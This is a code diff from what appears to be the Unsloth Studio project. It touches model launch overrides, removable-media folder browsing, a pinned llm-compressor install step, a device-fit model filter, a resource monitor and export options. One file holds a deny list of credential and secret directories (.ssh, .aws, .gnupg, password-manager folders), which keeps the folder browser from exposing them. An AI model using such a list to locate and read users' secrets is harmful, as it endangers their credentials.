def get_model_override(model_id: str) -> dict:
"""The launch override applied when auto-switch loads ``model_id`` (or empty)."""
override = get_model_overrides().get(model_id)
return override if isinstance(override, dict) else {}
def set_model_override(
model_id: str,
llama_extra_args: Optional[list[str]] = None,
max_seq_length: Optional[int] = None,
) -> dict:
"""Upsert one model's launch override; an override with no fields removes it."""
if not model_id or not model_id.strip():
raise ValueError("model_id is required.")
entry: dict[str, Any] = {}
if llama_extra_args:
entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args]
if max_seq_length:
entry["max_seq_length"] = max(0, int(max_seq_length))
from storage.studio_db import upsert_app_setting_map_entry
# Atomic per-entry merge so two PUTs for different models can't drop each other.
upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None)
_invalidate(MODEL_OVERRIDES_SETTING_KEY)
return entry

100
studio/backend/utils/paths/external_media.py Normal file
View file

@ -0,0 +1,100 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""External media path helpers."""
from __future__ import annotations
import getpass
import os
import platform
from pathlib import Path
from utils.paths.sensitive import (
contains_sensitive_path_component,
is_sensitive_path_component,
)
def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool:
normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path)))
root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root))))
try:
rel = os.path.relpath(normalized, root)
except ValueError:
return False
if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"):
return False
parts = [part for part in rel.split(os.sep) if part]
return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2])
def is_linux_run_media_path(path: str) -> bool:
"""True for Linux removable-media paths under /run/media/<user>/<volume>."""
if platform.system() != "Linux":
return False
return _is_linux_media_mount_path(path, "/run/media")
def _current_username() -> str | None:
try:
user = getpass.getuser().strip()
except Exception:
return None
return user or None
def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool:
try:
rel = path.relative_to(media_root)
except ValueError:
rel = path
return contains_sensitive_path_component(str(rel))
def linux_run_media_mount_roots(
base: Path | str = "/run/media", *, user: str | None = None
) -> list[Path]:
"""Readable /run/media/<user>/<volume> roots for the folder browser."""
if platform.system() != "Linux":
return []
user = user or _current_username()
if not user or user in (".", "..") or os.sep in user:
return []
base_path = Path(base)
try:
resolved_base = base_path.resolve()
except (OSError, RuntimeError, ValueError):
return []
roots: list[Path] = []
seen: set[str] = set()
user_dir = base_path / user
try:
if not user_dir.is_dir():
return []
volume_dirs = list(user_dir.iterdir())
except (OSError, RuntimeError, ValueError):
return []
for volume_dir in volume_dirs:
if is_sensitive_path_component(volume_dir.name):
continue
try:
resolved = volume_dir.resolve()
except (OSError, RuntimeError, ValueError):
continue
if not _is_linux_media_mount_path(str(resolved), resolved_base):
continue
if _contains_sensitive_media_component(resolved, resolved_base):
continue
key = os.path.normcase(os.path.realpath(str(resolved)))
if key in seen:
continue
try:
is_dir = resolved.is_dir()
except OSError:
continue
if is_dir and os.access(resolved, os.R_OK | os.X_OK):
seen.add(key)
roots.append(resolved)
return roots

46
studio/backend/utils/paths/sensitive.py Normal file
View file

@ -0,0 +1,46 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Shared sensitive path-component policy."""
from __future__ import annotations
import os
SENSITIVE_PATH_COMPONENTS = {
".aws",
".azure",
".config",
".docker",
".gcloud",
".gnupg",
".huggingface",
".kaggle",
".kube",
".modelscope",
".ngc",
".local",
".mozilla",
".pki",
".thunderbird",
".ssh",
".1password",
".bitwarden",
".password-store",
"1password",
"bitwarden",
"keychains",
"keyrings",
"mozilla",
"thunderbird",
}
def is_sensitive_path_component(name: str) -> bool:
return name.lower() in SENSITIVE_PATH_COMPONENTS
def contains_sensitive_path_component(path: str) -> bool:
parts = os.path.normpath(path).split(os.sep)
return any(is_sensitive_path_component(part) for part in parts)

151
studio/backend/utils/transformers_version.py
View file

@ -226,6 +226,11 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510")
# Backwards-compat alias
_VENV_T5_DIR = _VENV_T5_550_DIR
# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_*
# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it
# reuses the workspace torch (torch-agnostic).
_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor")
# Tier precedence: higher rank wins in _higher_tier.
_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
@ -1518,6 +1523,152 @@ def _ensure_venv_t5_exists() -> bool:
return _ensure_venv_t5_550_exists()
# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) ---------------------
# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize
# Qwen3.5 / Gemma-4 / Llama.
_LLMC_MAIN_TRANSFORMERS = "5.10.2"
_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18"
_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702"
# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned.
_VENV_LLMCOMPRESSOR_SPECS = (
f"transformers=={_LLMC_MAIN_TRANSFORMERS}",
f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}",
f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}",
"huggingface-hub==1.21.0",
"hf-xet==1.5.1",
"tokenizers==0.22.2",
"safetensors==0.8.0",
"accelerate==1.14.0",
"datasets==5.0.0",
"pydantic==2.13.4",
"pydantic-core==2.46.4",
"typing-inspection==0.4.2",
"loguru==0.7.3",
"pyyaml==6.0.3",
"nvidia-ml-py==13.610.43",
"pillow==12.3.0",
"auto-round==0.13.1",
"regex==2026.6.28",
)
# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes.
_LLMC_SHADOW_FINGERPRINT = (
f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
)
_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint"
def _llmcompressor_main_disabled() -> bool:
"""True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down)."""
return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in {
"1",
"true",
"yes",
"on",
}
def _llmcompressor_shadow_is_valid() -> bool:
"""True if the shadow dir exists with a marker matching the current pin fingerprint."""
marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER
try:
return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
except Exception:
return False
def _ensure_venv_llmcompressor_exists() -> bool:
"""Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing.
All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars),
so the workspace torch is never touched. Returns True on success.
"""
if _llmcompressor_shadow_is_valid():
return True
if _llmcompressor_main_disabled():
logger.warning(
"llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; "
"compressed export of newer-transformers models will fail fast."
)
return False
if _env_offline():
logger.warning(
"llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it."
)
return False
logger.warning(
"Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...",
_VENV_LLMCOMPRESSOR_DIR,
)
shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True)
os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True)
# Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed
# (compressed-tensors ships as a pre-release).
base = [
"--target",
_VENV_LLMCOMPRESSOR_DIR,
"--no-deps",
"--prerelease=allow",
*_VENV_LLMCOMPRESSOR_SPECS,
]
cmds = []
if shutil.which("uv"):
cmds.append(["uv", "pip", "install", "--python", sys.executable, *base])
cmds.append(
[
sys.executable,
"-m",
"pip",
"install",
*[a for a in base if a != "--prerelease=allow"],
"--pre",
]
)
last_out = ""
for cmd in cmds:
result = subprocess.run(
cmd,
stdout = subprocess.PIPE,
stderr = subprocess.STDOUT,
text = True,
env = child_env_without_native_path_secret(),
**_windows_hidden_subprocess_kwargs(),
)
last_out = result.stdout or ""
if result.returncode == 0:
try:
(Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text(
_LLMC_SHADOW_FINGERPRINT
)
except Exception:
pass
logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR)
return True
logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0])
logger.error(
"Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s",
_LLMC_MAIN_SHA,
last_out[-4000:],
)
return False
def llmcompressor_shadow_pythonpath() -> str | None:
"""Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None.
Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or
provisioning failed - callers then fall back to the fail-fast path.
"""
if _llmcompressor_main_disabled():
return None
if _ensure_venv_llmcompressor_exists():
return _VENV_LLMCOMPRESSOR_DIR
return None
def _activate_venv(venv_dir: str, label: str) -> None:
"""Prepend *venv_dir* to sys.path, purge stale modules, reimport."""
if venv_dir not in sys.path:

2
studio/frontend/src/app/router.tsx
View file

@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes";
import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId";
import { Route as chatRoute } from "./routes/chat";
import { Route as exportRoute } from "./routes/export";
import { Route as gridTestRoute } from "./routes/grid-test";
import { Route as indexRoute } from "./routes/index";
import { Route as loginRoute } from "./routes/login";
import { Route as hubRoute } from "./routes/hub";
@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([
onboardingRoute,
loginRoute,
changePasswordRoute,
gridTestRoute,
hubRoute,
settingsRoute,
studioRoute,

3
studio/frontend/src/app/routes/__root.tsx
View file

@ -70,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([
"/login",
"/signup",
"/change-password",
// Export stays reachable on chat-only hosts so the page can show its own grayed-out reason
// instead of a silent redirect; it self-gates via export capability, so nothing runs.
"/export",
]);
function isChatOnlyAllowed(pathname: string): boolean {

69
studio/frontend/src/app/routes/grid-test.tsx
View file

@ -1,69 +0,0 @@
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import { DashboardGrid, DashboardLayout } from "@/components/layout";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { createRoute } from "@tanstack/react-router";
import { requireAuth } from "../auth-guards";
import { Route as rootRoute } from "./__root";
export const Route = createRoute({
getParentRoute: () => rootRoute,
path: "/grid-test",
beforeLoad: () => requireAuth(),
component: GridTestPage,
});
function GridTestPage() {
return (
<DashboardLayout>
<div className="space-y-8">
<div>
<h1 className="text-2xl font-semibold">Grid Test - 3 Columns</h1>
<p className="text-muted-foreground">
max-w-7xl, gap-6, responsive 1→2→3
</p>
</div>
<DashboardGrid cols={3}>
{[1, 2, 3].map((i) => (
<Card key={i}>
<CardHeader>
<CardTitle>Card {i}</CardTitle>
<CardDescription>~400px at 1280px viewport</CardDescription>
</CardHeader>
<CardContent>
<div className="h-24 rounded-lg bg-muted" />
</CardContent>
</Card>
))}
</DashboardGrid>
<div>
<h2 className="text-xl font-semibold">4 Columns</h2>
<p className="text-muted-foreground">~296px per card at 1280px</p>
</div>
<DashboardGrid cols={4}>
{[1, 2, 3, 4].map((i) => (
<Card key={i} size="sm">
<CardHeader>
<CardTitle>Card {i}</CardTitle>
<CardDescription>Smaller cards</CardDescription>
</CardHeader>
<CardContent>
<div className="h-16 rounded-lg bg-muted" />
</CardContent>
</Card>
))}
</DashboardGrid>
</div>
</DashboardLayout>
);
}

16
studio/frontend/src/components/app-sidebar.tsx
View file

@ -290,13 +290,12 @@ export function AppSidebar() {
const chatOnly = usePlatformStore((s) => s.isChatOnly());
const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason);
// When Train/Export are greyed out (chat-only host), explain why on hover
// instead of disabling them silently. mlx_unavailable is the common macOS case
// after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`.
const trainExportDisabledHint: string | undefined = !chatOnly
// Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is
// no longer disabled here: it stays navigable so its page can show a precise grayed-out reason.
const trainDisabledHint: string | undefined = !chatOnly
? undefined
: chatOnlyReason === "mlx_unavailable"
? "Training needs MLX. Run `unsloth studio update` to enable Train and Export."
? "Training needs MLX. Run `unsloth studio update` to enable Train."
: chatOnlyReason === "intel_mac"
? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only."
: chatOnlyReason === "no_gpu"
@ -1206,7 +1205,7 @@ export function AppSidebar() {
pathname === "/studio" || pathname.startsWith("/studio/")
}
disabled={chatOnly}
tooltip={trainExportDisabledHint}
tooltip={trainDisabledHint}
spinner={trainingInProgress}
onClick={() => {
if (chatOnly) return;
@ -1235,7 +1234,7 @@ export function AppSidebar() {
label={t("shell.navigation.train")}
active={pathname === "/studio" || pathname.startsWith("/studio/")}
disabled={chatOnly}
tooltip={trainExportDisabledHint}
tooltip={trainDisabledHint}
spinner={trainingInProgress}
onClick={() => {
if (chatOnly) return;
@ -1256,11 +1255,8 @@ export function AppSidebar() {
icon={DownloadSquare01Icon}
label={t("shell.navigation.export")}
active={pathname === "/export" || pathname.startsWith("/export/")}
disabled={chatOnly}
tooltip={trainExportDisabledHint}
spinner={exportInProgress}
onClick={() => {
if (chatOnly) return;
navigate({ to: "/export" });
closeMobileIfOpen();
}}

124
studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
View file

@ -1,6 +1,7 @@
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import { Checkbox } from "@/components/ui/checkbox";
import { Input } from "@/components/ui/input";
import { Spinner } from "@/components/ui/spinner";
import {
@ -102,6 +103,7 @@ import {
type FormatFilter,
estimateQuantBytes,
fitsDevice,
hfModelFitsDevice,
isMlxId,
isMobileVariant,
isRecommendableFormat,
@ -1340,6 +1342,9 @@ export function HubModelPicker({
}, []);
// When on, On Device GGUF repos show their quantizations without a click.
const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations);
// Shared with the Hub page: list only models sized within the device budget.
const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
// Repos the user clicked to collapse while expand-by-default is on. Kept in
// memory only, so it resets on reload (and when the setting is toggled).
const [collapsedGguf, setCollapsedGguf] = useState<Set<string>>(
@ -1717,34 +1722,19 @@ export function HubModelPicker({
formatFilter === "all"
? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac))
: rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter));
if (recommendedSort !== "recommended") return rows;
// The "recommended" sort always applies the device-fit filter; the shared
// "Fits on device" tick extends it to the other sorts too.
if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows;
return rows.filter((r) => {
// Downloaded models always show, regardless of device fit.
if (downloadedSet.has(r.id.toLowerCase())) return true;
// Unified-memory hosts (Mac / no discrete GPU) still report system RAM,
// so fall back to that budget instead of skipping the fit check entirely.
const hasDeviceBudget =
gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0;
if (!hasDeviceBudget) return true;
// GGUF/MLX repos rarely expose safetensors metadata, so fall back to the
// GGUF param count, then the repo name, for a size estimate. Anything we
// still cannot size is hidden (requireKnown) so over-budget models like a
// 1T GGUF don't slip into Recommended.
const params = r.totalParams ?? paramsFromId(r.id);
const sizeBytes =
r.estimatedSizeBytes ??
(params ? estimateQuantBytes(params) : undefined);
return fitsDevice({
sizeBytes,
gpuGb: gpu.memoryTotalGb,
systemRamGb: gpu.systemRamAvailableGb,
requireKnown: true,
});
return hfModelFitsDevice(r, gpu);
});
}, [
recommendedSearch.results,
downloadedSet,
recommendedSort,
fitOnDeviceOnly,
formatFilter,
isMac,
gpu,
@ -1976,23 +1966,6 @@ export function HubModelPicker({
[visibleCachedModelRows],
);
// Recommended models that match the current search query
const filteredRecommendedIds = useMemo(() => {
if (!showHfSection) return [];
const q = normalizeForSearch(debouncedQuery.trim());
return recommendedIds
.filter((id) => normalizeForSearch(id).includes(q))
.filter((id) =>
matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
);
}, [
showHfSection,
debouncedQuery,
recommendedIds,
formatFilter,
isKnownGgufRepo,
]);
// Param counts come straight off the unsloth listings the picker already
// loaded, so no extra per-id fetch is needed for the VRAM badges.
const recommendedParamCountById = useMemo(() => {
@ -2003,6 +1976,42 @@ export function HubModelPicker({
return map;
}, [results, recommendedSearch.results]);
// Recommended models that match the current search query
const filteredRecommendedIds = useMemo(() => {
if (!showHfSection) return [];
const q = normalizeForSearch(debouncedQuery.trim());
return recommendedIds
.filter((id) => normalizeForSearch(id).includes(q))
.filter((id) =>
matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
)
// Curated defaults obey the fit toggle like the live HF rows, else large
// defaults resurface in search results with the filter on.
.filter(
(id) =>
!fitOnDeviceOnly ||
downloadedSet.has(id.toLowerCase()) ||
hfModelFitsDevice(
{
id,
totalParams: recommendedParamCountById.get(id),
isGguf: isKnownGgufRepo(id),
},
gpu,
),
);
}, [
showHfSection,
debouncedQuery,
recommendedIds,
formatFilter,
isKnownGgufRepo,
fitOnDeviceOnly,
downloadedSet,
recommendedParamCountById,
gpu,
]);
const recommendedSet = useMemo(
() => new Set(filteredRecommendedIds),
[filteredRecommendedIds],
@ -2013,6 +2022,12 @@ export function HubModelPicker({
if (!showHfSection || section !== "recommended") return [];
return results
.filter(isChatSupported)
.filter(
(r) =>
!fitOnDeviceOnly ||
downloadedSet.has(r.id.toLowerCase()) ||
hfModelFitsDevice(r, gpu),
)
.map((result) => result.id)
.filter((id) => !isHiddenModelId(id))
.filter((id) => id.toLowerCase().startsWith("unsloth/"))
@ -2035,6 +2050,9 @@ export function HubModelPicker({
isKnownGgufRepo,
isChatSupported,
formatFilter,
fitOnDeviceOnly,
downloadedSet,
gpu,
isMac,
]);
@ -2323,6 +2341,35 @@ export function HubModelPicker({
// selected-item checkmark never overlaps the label.
const sortMenuContentClassName =
"!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]";
// Device-fit toggle lives inside the sort menu (shared with the Hub page).
// The whole row is the click target (a button): a Checkbox renders as a
// <button>, and label-click forwarding to a button is unreliable, so the row
// owns the toggle and the Checkbox is presentational (pointer-events-none).
const fitOnDeviceFooter = (
<Tooltip>
<TooltipTrigger asChild>
<button
type="button"
role="checkbox"
aria-checked={fitOnDeviceOnly}
onClick={() => setFitOnDeviceOnly(!fitOnDeviceOnly)}
className="flex w-full cursor-pointer select-none items-center gap-1.5 rounded-[10px] px-2 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:text-foreground"
>
<Checkbox
checked={fitOnDeviceOnly}
tabIndex={-1}
aria-hidden
className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
/>
Only show models that fit
</button>
</TooltipTrigger>
<TooltipContent side="bottom">
Hides models larger than this device's memory budget. Downloaded models
stay visible.
</TooltipContent>
</Tooltip>
);
const sectionSortDropdown =
section === "recommended" ? (
<HubOptionMenu
@ -2333,6 +2380,7 @@ export function HubModelPicker({
align="end"
className={sortTriggerClassName}
contentClassName={sortMenuContentClassName}
footer={fitOnDeviceFooter}
/>
) : section === "downloaded" ? (
<HubOptionMenu
@ -2343,6 +2391,7 @@ export function HubModelPicker({
align="end"
className={sortTriggerClassName}
contentClassName={sortMenuContentClassName}
footer={fitOnDeviceFooter}
/>
) : (
<HubOptionMenu
@ -2353,6 +2402,7 @@ export function HubModelPicker({
align="end"
className={sortTriggerClassName}
contentClassName={sortMenuContentClassName}
footer={fitOnDeviceFooter}
/>
);

32
studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
View file

@ -114,3 +114,35 @@ export function fitsDevice(opts: {
}
return requireKnown ? false : true;
}
/** Fit predicate for one Hub listing row, shared by the chat model selector
* and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual
* weights) or the smallest-quant estimate from the param count. Safetensors /
* MLX repos: always the params-based smallest-quant estimate, matching the
* VRAM badge's quantized-load assumption; their estimatedSizeBytes is the
* full-precision checkpoint and would wrongly hide models the quantized load
* path can run. Anything unsizable is hidden (requireKnown) so over-budget
* models with no metadata don't slip through. An unknown device budget keeps
* everything. */
export function hfModelFitsDevice(
model: {
id: string;
totalParams?: number;
estimatedSizeBytes?: number;
isGguf?: boolean;
},
gpu: { memoryTotalGb: number; systemRamAvailableGb: number },
): boolean {
if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true;
const params = model.totalParams ?? paramsFromId(model.id);
const quantBytes = params ? estimateQuantBytes(params) : undefined;
const sizeBytes = isGgufId(model.id, model.isGguf)
? (model.estimatedSizeBytes ?? quantBytes)
: (quantBytes ?? model.estimatedSizeBytes);
return fitsDevice({
sizeBytes,
gpuGb: gpu.memoryTotalGb,
systemRamGb: gpu.systemRamAvailableGb,
requireKnown: true,
});
}

160
studio/frontend/src/components/floating-monitor.tsx Normal file
View file

@ -0,0 +1,160 @@
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import { Button } from "@/components/ui/button";
import { Progress } from "@/components/ui/progress";
import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store";
import { useSystemInfo } from "@/hooks/use-system";
import { useT } from "@/i18n";
import { cn } from "@/lib/utils";
import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
import { motion } from "motion/react";
import { useRef } from "react";
function clampPercent(value: number): number {
return Math.max(0, Math.min(100, value));
}
function usageIndicatorClass(percent: number): string {
if (percent >= 90) return "bg-destructive";
if (percent >= 70) return "bg-amber-500";
return "bg-primary";
}
function usageTextClass(percent: number): string {
if (percent >= 90) return "text-destructive";
if (percent >= 70) return "text-amber-600 dark:text-amber-400";
return "text-primary";
}
function formatGb(value: number): string {
const digits = value >= 10 ? 1 : 2;
return `${value.toFixed(digits)} GB`;
}
export function FloatingMonitor() {
const t = useT();
const { isOpen, setIsOpen } = useMonitorOverlayStore();
const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
const constraintsRef = useRef<HTMLDivElement>(null);
if (!isOpen) return null;
const ramTotal = systemInfo.memory?.total_gb ?? 0;
const ramAvailable = systemInfo.memory?.available_gb ?? 0;
const ramUsed = Math.max(0, ramTotal - ramAvailable);
const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0);
const devices = systemInfo.gpu?.devices ?? [];
const vramTotal = devices.reduce(
(sum, device) => sum + (device.memory_total_gb ?? 0),
0,
);
const vramUsed = devices.reduce(
(sum, device) => sum + (device.vram_used_gb ?? 0),
0,
);
const vramPercent = clampPercent(
vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
);
const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
return (
<div
ref={constraintsRef}
className="fixed inset-0 z-50 pointer-events-none"
>
<motion.div
layout={true}
drag={true}
dragConstraints={constraintsRef}
dragElastic={0.1}
dragMomentum={false}
initial={{ opacity: 0, scale: 0.9 }}
animate={{ opacity: 1, scale: 1 }}
exit={{ opacity: 0, scale: 0.9 }}
className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
>
<div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
<div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
<CpuIcon className="size-3.5 shrink-0 text-primary" />
<span className="truncate">
{t("settings.resources.liveMonitor.title")}
</span>
</div>
<div className="flex items-center gap-1 shrink-0">
<div className="cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing">
<GripVerticalIcon className="size-3.5" />
</div>
<Button
size="icon-xs"
variant="ghost"
className="text-muted-foreground hover:text-foreground"
onClick={() => setIsOpen(false)}
title={t("common.close")}
aria-label={t("common.close")}
>
<XIcon className="size-3" />
</Button>
</div>
</div>
<motion.div
initial={{ opacity: 0, height: 0 }}
animate={{ opacity: 1, height: "auto" }}
exit={{ opacity: 0, height: 0 }}
className="space-y-3 overflow-hidden"
>
<div className="space-y-1">
<div className="flex justify-between text-[11px] font-medium font-mono">
<span>{t("settings.resources.liveMonitor.ram")}</span>
<span className={cn("tabular-nums", usageTextClass(ramPercent))}>
{Math.round(ramPercent)}%
</span>
</div>
<div className="text-xs text-muted-foreground font-mono tabular-nums">
{formatGb(ramUsed)} / {formatGb(ramTotal)}
</div>
<Progress
value={ramPercent}
className="mt-1 h-1.5 rounded-full bg-muted"
indicatorClassName={usageIndicatorClass(ramPercent)}
/>
</div>
{hasGpu && (
<div className="space-y-1">
<div className="flex justify-between text-[11px] font-medium font-mono">
<span className="truncate flex-1 pr-2">
{t("settings.resources.liveMonitor.vram")}{" "}
{devices.length > 1
? `(${devices.length} GPUs)`
: `(${devices[0].name ?? "GPU"})`}
</span>
<span
className={cn(
"shrink-0 tabular-nums",
usageTextClass(vramPercent),
)}
>
{Math.round(vramPercent)}%
</span>
</div>
<div className="text-xs text-muted-foreground font-mono tabular-nums">
{formatGb(vramUsed)} / {formatGb(vramTotal)}
</div>
<Progress
value={vramPercent}
className="mt-1 h-1.5 rounded-full bg-muted"
indicatorClassName={usageIndicatorClass(vramPercent)}
/>
</div>
)}
</motion.div>
</motion.div>
</div>
);
}

11
studio/frontend/src/features/chat/stores/chat-runtime-store.ts
View file

@ -42,6 +42,8 @@ export const CHAT_EXPAND_QUANTIZATIONS_KEY =
"unsloth_chat_expand_quantizations";
export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
"unsloth_chat_show_all_quantizations";
export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
"unsloth_models_fit_on_device_only";
export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
"unsloth_chat_web_fetch_tools_enabled";
@ -671,6 +673,9 @@ type ChatRuntimeStore = {
expandQuantizations: boolean;
/** Persisted: show non-downloaded quantizations too, not just downloaded. */
showAllQuantizations: boolean;
/** Persisted, shared by the chat model selector and the Hub page: list only
* models whose size fits this device's memory budget. */
fitOnDeviceOnly: boolean;
/** A local model picked while `loadOnSelection` is off: staged, not loaded.
* The settings sheet shows its load knobs and a Load button. */
pendingSelection: PendingModelSelection | null;
@ -793,6 +798,7 @@ type ChatRuntimeStore = {
setLoadOnSelection: (value: boolean) => void;
setExpandQuantizations: (value: boolean) => void;
setShowAllQuantizations: (value: boolean) => void;
setFitOnDeviceOnly: (value: boolean) => void;
setPendingSelection: (selection: PendingModelSelection | null) => void;
/** Stage a pick for a deferred load: revert knobs to the loaded baseline,
* record the selection, and open the settings sheet. */
@ -1111,6 +1117,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false),
showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true),
fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false),
pendingSelection: null,
loadedIsMultimodal: false,
loadedIsDiffusion: false,
@ -1582,6 +1589,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations);
set({ showAllQuantizations });
},
setFitOnDeviceOnly: (fitOnDeviceOnly) => {
saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly);
set({ fitOnDeviceOnly });
},
setPendingSelection: (pendingSelection) => set({ pendingSelection }),
stageModel: (selection) => {
// Refuse staging mid-load: post-load cleanup would silently drop the queued

9
studio/frontend/src/features/export/api/export-api.ts
View file

@ -127,6 +127,8 @@ export async function loadCheckpoint(params: {
export async function exportMerged(params: {
save_directory: string;
format_type?: string;
/** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */
compressed_method?: string | null;
push_to_hub?: boolean;
repo_id?: string | null;
hf_token?: string | null;
@ -158,7 +160,8 @@ export async function exportBase(params: {
export async function exportGGUF(params: {
save_directory: string;
quantization_method: string;
/** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */
quantization_method: string | string[];
push_to_hub?: boolean;
repo_id?: string | null;
hf_token?: string | null;
@ -179,6 +182,10 @@ export async function exportLoRA(params: {
repo_id?: string | null;
hf_token?: string | null;
private?: boolean;
/** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */
gguf?: boolean;
/** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */
gguf_outtype?: string;
}): Promise<ExportOperationResponse> {
